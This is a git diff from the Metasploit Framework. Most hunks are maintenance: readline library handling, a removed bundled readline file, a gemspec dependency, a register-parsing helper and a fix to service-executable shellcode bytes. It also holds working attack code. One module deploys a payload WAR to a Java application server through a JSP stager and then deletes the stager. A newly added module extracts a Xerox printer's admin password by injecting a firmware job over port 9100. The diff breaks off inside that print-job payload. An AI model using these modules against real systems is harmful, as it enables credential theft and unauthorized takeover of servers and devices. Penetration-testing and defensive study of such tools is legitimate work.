@ -54,21 +54,7 @@ class Driver < Msf::Ui::Driver
|
|||
# @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip
|
||||
# connecting to the database and running migrations
|
||||
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
|
||||
|
||||
# Choose a readline library before calling the parent
|
||||
rl = false
|
||||
rl_err = nil
|
||||
begin
|
||||
if(opts['RealReadline'])
|
||||
require 'readline'
|
||||
rl = true
|
||||
end
|
||||
rescue ::LoadError
|
||||
rl_err = $!
|
||||
end
|
||||
|
||||
# Default to the RbReadline wrapper
|
||||
require 'readline_compatible' if(not rl)
|
||||
choose_readline(opts)
|
||||
|
||||
histfile = opts['HistFile'] || Msf::Config.history_file
|
||||
|
||||
|
@ -112,9 +98,9 @@ class Driver < Msf::Ui::Driver
|
|||
enstack_dispatcher(CommandDispatcher::Core)
|
||||
|
||||
# Report readline error if there was one..
|
||||
if not rl_err.nil?
|
||||
if !@rl_err.nil?
|
||||
print_error("***")
|
||||
print_error("* WARNING: Unable to load readline: #{rl_err}")
|
||||
print_error("* WARNING: Unable to load readline: #{@rl_err}")
|
||||
print_error("* Falling back to RbReadLine")
|
||||
print_error("***")
|
||||
end
|
||||
|
@ -719,6 +705,43 @@ protected
|
|||
set_log_level(Msf::LogSource, val)
|
||||
end
|
||||
|
||||
# Require the appropriate readline library based on the user's preference.
|
||||
#
|
||||
# @return [void]
|
||||
def choose_readline(opts)
|
||||
# Choose a readline library before calling the parent
|
||||
@rl_err = nil
|
||||
if opts['RealReadline']
|
||||
# Remove the gem version from load path to be sure we're getting the
|
||||
# stdlib readline.
|
||||
gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir
|
||||
rb_readline_path = File.join(gem_dir, "lib")
|
||||
index = $LOAD_PATH.index(rb_readline_path)
|
||||
# Bundler guarantees that the gem will be there, so it should be safe to
|
||||
# assume we found it in the load path, but check to be on the safe side.
|
||||
if index
|
||||
$LOAD_PATH.delete_at(index)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
require 'readline'
|
||||
rescue ::LoadError => e
|
||||
if @rl_err.nil? && index
|
||||
# Then this is the first time the require failed and we have an index
|
||||
# for the gem version as a fallback.
|
||||
@rl_err = e
|
||||
# Put the gem back and see if that works
|
||||
$LOAD_PATH.insert(index, rb_readline_path)
|
||||
index = rb_readline_path = nil
|
||||
retry
|
||||
else
|
||||
# Either we didn't have the gem to fall back on, or we failed twice.
|
||||
# Nothing more we can do here.
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -731,6 +754,7 @@ class DefangedException < ::Exception
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,6 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
here = File.expand_path(File.dirname(__FILE__))
|
||||
|
||||
puts "Hi I live #{here}!"
|
||||
|
|
@ -558,7 +558,7 @@ require 'msf/core/exe/segment_injector'
|
|||
"\x8D\x85#{[svcmain_code_offset].pack('<I')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
|
||||
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
|
||||
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
|
||||
"{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"#{[hash_code_offset].pack('<I') + pushed_service_name}\x89\xE1\x8D" +
|
||||
"\x85#{[svcctrlhandler_code_offset].pack('<I')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
|
||||
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
|
||||
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
|
||||
|
@ -568,7 +568,7 @@ require 'msf/core/exe/segment_injector'
|
|||
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
|
||||
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('<I')}\x57\x51\x68\xAE\x87" +
|
||||
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
|
||||
"{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
|
||||
"#{[shellcode_code_offset].pack('<I')}\x54\x68#{[code.length].pack('<I')}" +
|
||||
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
|
||||
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
|
||||
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
|
||||
|
|
8749
lib/rbreadline.rb
8749
lib/rbreadline.rb
File diff suppressed because it is too large
Load Diff
|
@ -1,554 +0,0 @@
|
|||
# readline.rb -- GNU Readline module
|
||||
# Copyright (C) 1997-2001 Shugo Maed
|
||||
#
|
||||
# Ruby translation by Park Heesob phasis@gmail.com
|
||||
|
||||
=begin
|
||||
Copyright (c) 2009, Park Heesob
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright notice
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
* Neither the name of Park Heesob nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
=end
|
||||
|
||||
require 'windows_console_color_support'
|
||||
|
||||
module Readline
|
||||
|
||||
require 'rbreadline'
|
||||
include RbReadline
|
||||
|
||||
@completion_proc = nil
|
||||
@completion_case_fold = false
|
||||
|
||||
#
|
||||
# A sneaky way to prevent the real Readline from loading after us
|
||||
#
|
||||
$LOADED_FEATURES.unshift("readline.rb")
|
||||
|
||||
# Begins an interactive terminal process using +prompt+ as the command
|
||||
# prompt that users see when they type commands. The method returns the
|
||||
# line entered whenever a carriage return is encountered.
|
||||
#
|
||||
# If an +add_history+ argument is provided, commands entered by users are
|
||||
# stored in a history buffer that can be recalled for later use.
|
||||
#
|
||||
# Note that this method depends on $stdin and $stdout both being open.
|
||||
# Because this is meant as an interactive console interface, they should
|
||||
# generally not be redirected.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# loop{ Readline.readline('> ') }
|
||||
#
|
||||
def readline(prompt, add_history=nil)
|
||||
if $stdin.closed?
|
||||
raise IOError, "stdin closed"
|
||||
end
|
||||
|
||||
status = 0
|
||||
|
||||
begin
|
||||
RbReadline.rl_instream = $stdin
|
||||
RbReadline.rl_outstream = $stdout
|
||||
if (Rex::Compat.is_windows)
|
||||
RbReadline.rl_outstream = WindowsConsoleColorSupport.new($stdout)
|
||||
end
|
||||
buff = RbReadline.readline(prompt)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue Exception => e
|
||||
buff = nil
|
||||
RbReadline.rl_cleanup_after_signal()
|
||||
RbReadline.rl_deprep_terminal()
|
||||
$stderr.puts "[-] RbReadline Error: #{e.class} #{e} #{e.backtrace}"
|
||||
retry
|
||||
end
|
||||
|
||||
if add_history && buff
|
||||
RbReadline.add_history(buff)
|
||||
end
|
||||
|
||||
return buff ? buff.dup : nil
|
||||
end
|
||||
|
||||
# Sets the input stream (an IO object) for readline interaction. The
|
||||
# default is <tt>$stdin</tt>.
|
||||
#
|
||||
def self.input=(input)
|
||||
RbReadline.rl_instream = input
|
||||
end
|
||||
|
||||
# Sets the output stream (an IO object) for readline interaction. The
|
||||
# default is <tt>$stdout</tt>.
|
||||
#
|
||||
def self.output=(output)
|
||||
RbReadline.rl_outstream = output
|
||||
end
|
||||
|
||||
# Sets the auto-completion procedure (i.e. tab auto-complete).
|
||||
#
|
||||
# The +proc+ argument is typically a Proc object. It must respond to
|
||||
# <tt>.call</tt>, take a single String argument and return an Array of
|
||||
# candidates for completion.
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# list = ['search', 'next', 'clear']
|
||||
# Readline.completion_proc = proc{ |s| list.grep( /^#{Regexp.escape(s)}/) }
|
||||
#
|
||||
def self.completion_proc=(proc)
|
||||
unless defined? proc.call
|
||||
raise ArgumentError,"argument must respond to `call'"
|
||||
end
|
||||
@completion_proc = proc
|
||||
end
|
||||
|
||||
# Returns the current auto-completion procedure.
|
||||
#
|
||||
def self.completion_proc()
|
||||
@completion_proc
|
||||
end
|
||||
|
||||
# Sets whether or not the completion proc should ignore case sensitivity.
|
||||
# The default is false, i.e. completion procs are case sensitive.
|
||||
#
|
||||
def self.completion_case_fold=(bool)
|
||||
@completion_case_fold = bool
|
||||
end
|
||||
|
||||
# Returns whether or not the completion proc is case sensitive. The
|
||||
# default is false, i.e. completion procs are case sensitive.
|
||||
#
|
||||
def self.completion_case_fold()
|
||||
@completion_case_fold
|
||||
end
|
||||
|
||||
def self.readline_attempted_completion_function(text,start,_end)
|
||||
proc = @completion_proc
|
||||
return nil if proc.nil?
|
||||
|
||||
RbReadline.rl_attempted_completion_over = true
|
||||
|
||||
# Remove leading spaces
|
||||
text.gsub!(/^\s+/, '')
|
||||
|
||||
case_fold = @completion_case_fold
|
||||
ary = proc.call(text)
|
||||
if ary.class != Array
|
||||
ary = Array(ary)
|
||||
else
|
||||
ary.compact!
|
||||
ary.uniq!
|
||||
end
|
||||
|
||||
ary.delete('')
|
||||
|
||||
matches = ary.length
|
||||
return nil if (matches == 0)
|
||||
|
||||
if(matches == 1)
|
||||
ary[0] = ary[0].strip + " "
|
||||
end
|
||||
|
||||
result = Array.new(matches+2)
|
||||
for i in 0 ... matches
|
||||
result[i+1] = ary[i].dup
|
||||
end
|
||||
result[matches+1] = nil
|
||||
|
||||
if(matches==1)
|
||||
result[0] = result[1].dup
|
||||
else
|
||||
i = 1
|
||||
low = 100000
|
||||
|
||||
while (i < matches)
|
||||
if (case_fold)
|
||||
si = 0
|
||||
while ((c1 = result[i][si,1].downcase) &&
|
||||
(c2 = result[i + 1][si,1].downcase))
|
||||
break if (c1 != c2)
|
||||
si += 1
|
||||
end
|
||||
else
|
||||
si = 0
|
||||
while ((c1 = result[i][si,1]) &&
|
||||
(c2 = result[i + 1][si,1]))
|
||||
break if (c1 != c2)
|
||||
si += 1
|
||||
end
|
||||
end
|
||||
if (low > si)
|
||||
low = si
|
||||
end
|
||||
i+=1
|
||||
end
|
||||
result[0] = result[1][0,low]
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
# Sets vi editing mode.
|
||||
#
|
||||
def self.vi_editing_mode()
|
||||
RbReadline.rl_vi_editing_mode(1,0)
|
||||
nil
|
||||
end
|
||||
|
||||
# Sets emacs editing mode
|
||||
#
|
||||
def self.emacs_editing_mode()
|
||||
RbReadline.rl_emacs_editing_mode(1,0)
|
||||
nil
|
||||
end
|
||||
|
||||
# Sets the character that is automatically appended after the
|
||||
# Readline.completion_proc method is called.
|
||||
#
|
||||
# If +char+ is nil or empty, then a null character is used.
|
||||
#
|
||||
def self.completion_append_character=(char)
|
||||
if char.nil?
|
||||
RbReadline.rl_completion_append_character = ?\0
|
||||
elsif char.length==0
|
||||
RbReadline.rl_completion_append_character = ?\0
|
||||
else
|
||||
RbReadline.rl_completion_append_character = char[0]
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the character that is automatically appended after the
|
||||
# Readline.completion_proc method is called.
|
||||
#
|
||||
def self.completion_append_character()
|
||||
if RbReadline.rl_completion_append_character == ?\0
|
||||
nil
|
||||
end
|
||||
return RbReadline.rl_completion_append_character
|
||||
end
|
||||
|
||||
# Sets the character string that signal a break between words for the
|
||||
# completion proc.
|
||||
#
|
||||
def self.basic_word_break_characters=(str)
|
||||
RbReadline.rl_basic_word_break_characters = str.dup
|
||||
end
|
||||
|
||||
# Returns the character string that signal a break between words for the
|
||||
# completion proc. The default is " \t\n\"\\'`@$><=|&{(".
|
||||
#
|
||||
def self.basic_word_break_characters()
|
||||
if RbReadline.rl_basic_word_break_characters.nil?
|
||||
nil
|
||||
else
|
||||
RbReadline.rl_basic_word_break_characters.dup
|
||||
end
|
||||
end
|
||||
|
||||
# Sets the character string that signal the start or end of a word for
|
||||
# the completion proc.
|
||||
#
|
||||
def self.completer_word_break_characters=(str)
|
||||
RbReadline.rl_completer_word_break_characters = str.dup
|
||||
end
|
||||
|
||||
# Returns the character string that signal the start or end of a word for
|
||||
# the completion proc.
|
||||
#
|
||||
def self.completer_word_break_characters()
|
||||
if RbReadline.rl_completer_word_break_characters.nil?
|
||||
nil
|
||||
else
|
||||
RbReadline.rl_completer_word_break_characters.dup
|
||||
end
|
||||
end
|
||||
|
||||
# Sets the list of quote characters that can cause a word break.
|
||||
#
|
||||
def self.basic_quote_characters=(str)
|
||||
RbReadline.rl_basic_quote_characters = str.dup
|
||||
end
|
||||
|
||||
# Returns the list of quote characters that can cause a word break.
|
||||
# The default is "'\"" (single and double quote characters).
|
||||
#
|
||||
def self.basic_quote_characters()
|
||||
if RbReadline.rl_basic_quote_characters.nil?
|
||||
nil
|
||||
else
|
||||
RbReadline.rl_basic_quote_characters.dup
|
||||
end
|
||||
end
|
||||
|
||||
# Sets the list of characters that can be used to quote a substring of
|
||||
# the line, i.e. a group of characters within quotes.
|
||||
#
|
||||
def self.completer_quote_characters=(str)
|
||||
RbReadline.rl_completer_quote_characters = str.dup
|
||||
end
|
||||
|
||||
# Returns the list of characters that can be used to quote a substring
|
||||
# of the line, i.e. a group of characters inside quotes.
|
||||
#
|
||||
def self.completer_quote_characters()
|
||||
if RbReadline.rl_completer_quote_characters.nil?
|
||||
nil
|
||||
else
|
||||
RbReadline.rl_completer_quote_characters.dup
|
||||
end
|
||||
end
|
||||
|
||||
# Sets the character string of one or more characters that indicate quotes
|
||||
# for the filename completion of user input.
|
||||
#
|
||||
def self.filename_quote_characters=(str)
|
||||
RbReadline.rl_filename_quote_characters = str.dup
|
||||
end
|
||||
|
||||
# Returns the character string used to indicate quotes for the filename
|
||||
# completion of user input.
|
||||
#
|
||||
def self.filename_quote_characters()
|
||||
if RbReadline.rl_filename_quote_characters.nil?
|
||||
nil
|
||||
else
|
||||
RbReadline.rl_filename_quote_characters.dup
|
||||
end
|
||||
end
|
||||
|
||||
# The History class encapsulates a history of all commands entered by
|
||||
# users at the prompt, providing an interface for inspection and retrieval
|
||||
# of all commands.
|
||||
class History
|
||||
extend Enumerable
|
||||
|
||||
# The History class, stringified in all caps.
|
||||
#--
|
||||
# Why?
|
||||
#
|
||||
def self.to_s
|
||||
"HISTORY"
|
||||
end
|
||||
|
||||
# Returns the command that was entered at the specified +index+
|
||||
# in the history buffer.
|
||||
#
|
||||
# Raises an IndexError if the entry is nil.
|
||||
#
|
||||
def self.[](index)
|
||||
if index < 0
|
||||
index += RbReadline.history_length
|
||||
end
|
||||
entry = RbReadline.history_get(RbReadline.history_base+index)
|
||||
if entry.nil?
|
||||
raise IndexError,"invalid index"
|
||||
end
|
||||
entry.line.dup
|
||||
end
|
||||
|
||||
# Sets the command +str+ at the given index in the history buffer.
|
||||
#
|
||||
# You can only replace an existing entry. Attempting to create a new
|
||||
# entry will result in an IndexError.
|
||||
#
|
||||
def self.[]=(index,str)
|
||||
if index<0
|
||||
index += RbReadline.history_length
|
||||
end
|
||||
entry = RbReadline.replace_history_entry(index,str,nil)
|
||||
if entry.nil?
|
||||
raise IndexError,"invalid index"
|
||||
end
|
||||
str
|
||||
end
|
||||
|
||||
# Synonym for Readline.add_history.
|
||||
#
|
||||
def self.<<(str)
|
||||
RbReadline.add_history(str)
|
||||
end
|
||||
|
||||
# Pushes a list of +args+ onto the history buffer.
|
||||
#
|
||||
def self.push(*args)
|
||||
args.each do |str|
|
||||
RbReadline.add_history(str)
|
||||
end
|
||||
end
|
||||
|
||||
# Internal function that removes the item at +index+ from the history
|
||||
# buffer, performing necessary duplication in the process.
|
||||
#--
|
||||
# TODO: mark private?
|
||||
#
|
||||
def self.rb_remove_history(index)
|
||||
entry = RbReadline.remove_history(index)
|
||||
if (entry)
|
||||
val = entry.line.dup
|
||||
entry = nil
|
||||
return val
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Removes and returns the last element from the history buffer.
|
||||
#
|
||||
def self.pop()
|
||||
if RbReadline.history_length>0
|
||||
rb_remove_history(RbReadline.history_length-1)
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Removes and returns the first element from the history buffer.
|
||||
#
|
||||
def self.shift()
|
||||
if RbReadline.history_length>0
|
||||
rb_remove_history(0)
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Iterates over each entry in the history buffer.
|
||||
#
|
||||
def self.each()
|
||||
for i in 0 ... RbReadline.history_length
|
||||
entry = RbReadline.history_get(RbReadline.history_base + i)
|
||||
break if entry.nil?
|
||||
yield entry.line.dup
|
||||
end
|
||||
self
|
||||
end
|
||||
|
||||
# Returns the length of the history buffer.
|
||||
#
|
||||
def self.length()
|
||||
RbReadline.history_length
|
||||
end
|
||||
|
||||
# Synonym for Readline.length.
|
||||
#
|
||||
def self.size()
|
||||
RbReadline.history_length
|
||||
end
|
||||
|
||||
# Returns a bolean value indicating whether or not the history buffer
|
||||
# is empty.
|
||||
#
|
||||
def self.empty?()
|
||||
RbReadline.history_length == 0
|
||||
end
|
||||
|
||||
# Deletes an entry from the histoyr buffer at the specified +index+.
|
||||
#
|
||||
def self.delete_at(index)
|
||||
if index < 0
|
||||
i += RbReadline.history_length
|
||||
end
|
||||
if index < 0 || index > RbReadline.history_length - 1
|
||||
raise IndexError, "invalid index"
|
||||
end
|
||||
rb_remove_history(index)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
HISTORY = History
|
||||
|
||||
# The Fcomp class provided to encapsulate typical filename completion
|
||||
# procedure. You will not typically use this directly, but will instead
|
||||
# use the Readline::FILENAME_COMPLETION_PROC.
|
||||
#
|
||||
class Fcomp
|
||||
def self.call(str)
|
||||
matches = RbReadline.rl_completion_matches(str,
|
||||
:rl_filename_completion_function)
|
||||
if (matches)
|
||||
result = []
|
||||
i = 0
|
||||
while(matches[i])
|
||||
result << matches[i].dup
|
||||
matches[i] = nil
|
||||
i += 1
|
||||
end
|
||||
matches = nil
|
||||
if (result.length >= 2)
|
||||
result.shift
|
||||
end
|
||||
else
|
||||
result = nil
|
||||
end
|
||||
return result
|
||||
end
|
||||
end
|
||||
|
||||
FILENAME_COMPLETION_PROC = Fcomp
|
||||
|
||||
# The Ucomp class provided to encapsulate typical filename completion
|
||||
# procedure. You will not typically use this directly, but will instead
|
||||
# use the Readline::USERNAME_COMPLETION_PROC.
|
||||
#
|
||||
# Note that this feature currently only works on Unix systems since it
|
||||
# ultimately uses the Etc module to iterate over a list of users.
|
||||
#
|
||||
class Ucomp
|
||||
def self.call(str)
|
||||
matches = RbReadline.rl_completion_matches(str,
|
||||
:rl_username_completion_function)
|
||||
if (matches)
|
||||
result = []
|
||||
i = 0
|
||||
while(matches[i])
|
||||
result << matches[i].dup
|
||||
matches[i] = nil
|
||||
i += 1
|
||||
end
|
||||
matches = nil
|
||||
if (result.length >= 2)
|
||||
result.shift
|
||||
end
|
||||
else
|
||||
result = nil
|
||||
end
|
||||
return result
|
||||
end
|
||||
end
|
||||
|
||||
USERNAME_COMPLETION_PROC = Ucomp
|
||||
|
||||
RbReadline.rl_readline_name = "Ruby"
|
||||
|
||||
RbReadline.using_history()
|
||||
|
||||
VERSION = RbReadline.rl_library_version
|
||||
|
||||
module_function :readline
|
||||
|
||||
RbReadline.rl_attempted_completion_function = :readline_attempted_completion_function
|
||||
|
||||
end
|
||||
|
|
@ -520,6 +520,22 @@ module X86
|
|||
return nil
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a list of registers as a space or command delimited
|
||||
# string and return the internal register IDs as an array
|
||||
#
|
||||
def self.register_names_to_ids(str)
|
||||
register_ids = []
|
||||
str.to_s.strip.split(/[,\s]/).
|
||||
map {|reg| reg.to_s.strip.upcase }.
|
||||
select {|reg| reg.length > 0 }.
|
||||
uniq.each do |reg|
|
||||
next unless self.const_defined?(reg.intern)
|
||||
register_ids << self.const_get(reg.intern)
|
||||
end
|
||||
register_ids
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end
|
||||
|
|
|
@ -20,11 +20,7 @@ begin
|
|||
#
|
||||
def initialize(tab_complete_proc = nil)
|
||||
if(not Object.const_defined?('Readline'))
|
||||
begin
|
||||
require 'readline'
|
||||
rescue ::LoadError
|
||||
require 'readline_compatible'
|
||||
end
|
||||
require 'readline'
|
||||
end
|
||||
|
||||
self.extend(::Readline)
|
||||
|
|
|
@ -74,6 +74,10 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'packetfu', '1.1.9'
|
||||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||
spec.add_runtime_dependency 'railties'
|
||||
# required for OS fingerprinting
|
||||
spec.add_runtime_dependency 'recog', '~> 1.0'
|
||||
# read... lines...
|
||||
spec.add_runtime_dependency 'rb-readline'
|
||||
# Needed by anemone crawler
|
||||
spec.add_runtime_dependency 'robots'
|
||||
# Needed by some modules
|
||||
|
@ -82,6 +86,4 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'sqlite3'
|
||||
# required for Time::TZInfo in ActiveSupport
|
||||
spec.add_runtime_dependency 'tzinfo'
|
||||
# required for OS fingerprinting
|
||||
spec.add_runtime_dependency 'recog', '~> 1.0'
|
||||
end
|
||||
|
|
|
@ -41,12 +41,11 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
|
||||
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']),
|
||||
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def deploy_action(app_base, stager_name, war_data)
|
||||
def deploy_action(app_base, war_data)
|
||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||
|
||||
if http_verb == 'POST'
|
||||
|
@ -57,6 +56,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
else
|
||||
print_status("#{peer} - Deploying stager...")
|
||||
stager_name = Rex::Text.rand_text_alpha(8 + rand(8))
|
||||
stager_contents = stager_jsp(app_base)
|
||||
opts = {
|
||||
:dir => "#{stager_name}.war",
|
||||
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
unless http_verb == 'POST'
|
||||
# call the stager to deploy our real payload war
|
||||
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
|
||||
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
||||
print_status("#{peer} - Calling stager #{stager_uri} to deploy final payload...")
|
||||
res = deploy('method' => 'POST',
|
||||
'data' => payload_data,
|
||||
|
@ -88,19 +88,28 @@ class Metasploit3 < Msf::Auxiliary
|
|||
else
|
||||
print_error("#{peer} - Failed to deploy final payload")
|
||||
end
|
||||
|
||||
# Remove the stager
|
||||
print_status("#{peer} - Removing stager...")
|
||||
files = {}
|
||||
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
|
||||
files[:stager_base] = "#{stager_name}.war"
|
||||
delete_script = generate_bsh(:delete, files)
|
||||
res = deploy_package(delete_script, package)
|
||||
if res.nil?
|
||||
print_error("#{peer} - Unable to remove Stager")
|
||||
else
|
||||
print_good("#{peer} - Stager successfully removed")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def undeploy_action(app_base, stager_name)
|
||||
def undeploy_action(app_base)
|
||||
# Undeploy the WAR and the stager if needed
|
||||
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
|
||||
|
||||
files = {}
|
||||
unless stager_name.nil?
|
||||
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
|
||||
files[:stager_base] = "#{stager_name}.war"
|
||||
end
|
||||
files[:app_base] = "#{app_base}.war"
|
||||
delete_script = generate_bsh(:delete, files)
|
||||
|
||||
|
@ -114,12 +123,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run
|
||||
app_base = datastore['APPBASE']
|
||||
if http_verb == 'POST'
|
||||
stager_name = nil
|
||||
else
|
||||
stager_name = datastore['STAGERNAME']
|
||||
stager_name = "stager" if stager_name.blank?
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'Deploy'
|
||||
|
@ -127,9 +130,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("WAR file not found")
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'])
|
||||
deploy_action(app_base, stager_name, war_data)
|
||||
deploy_action(app_base, war_data)
|
||||
when 'Undeploy'
|
||||
undeploy_action(app_base, stager_name)
|
||||
undeploy_action(app_base)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,190 @@
|
|||
#
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xerox Administrator Console Password Extractor',
|
||||
'Description' => %q{
|
||||
This module will extract the management console's admin password from the
|
||||
Xerox file system using firmware bootstrap injection.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'Web management console port for the printer', 80]),
|
||||
OptPort.new('JPORT', [true, 'Jetdirect port', 9100]),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout to wait for printer job to run', 45])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def jport
|
||||
datastore['JPORT']
|
||||
end
|
||||
|
||||
# Time to start the fun
|
||||
def run
|
||||
print_status("#{rhost}:#{jport} - Attempting to extract the web consoles admin password...")
|
||||
return unless write
|
||||
|
||||
print_status("#{rhost}:#{jport} - Waiting #{datastore['TIMEOUT']} seconds...")
|
||||
sleep(datastore['TIMEOUT'])
|
||||
passwd = retrieve
|
||||
remove
|
||||
|
||||
if passwd
|
||||
print_good("#{rhost}:#{jport} - Password found: #{passwd}")
|
||||
|
||||
loot_name = 'xerox.password'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'xerox_password.text'
|
||||
loot_desc = 'Xerox password harvester'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], passwd, loot_filename, loot_desc)
|
||||
print_status("#{rhost}:#{jport} - Credentials saved in: #{p}")
|
||||
|
||||
register_creds('Xerox-HTTP', rhost, rport, 'Admin', passwd)
|
||||
|
||||
else
|
||||
print_error("#{rhost}:#{jport} - No credentials extracted")
|
||||
end
|
||||
end
|
||||
|
||||
#Trigger firmware bootstrap write out password data to URL root
|
||||
def write
|
||||
print_status("#{rhost}:#{jport} - Sending print job")
|
||||
create_print_job = '%%XRXbegin' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0a"
|
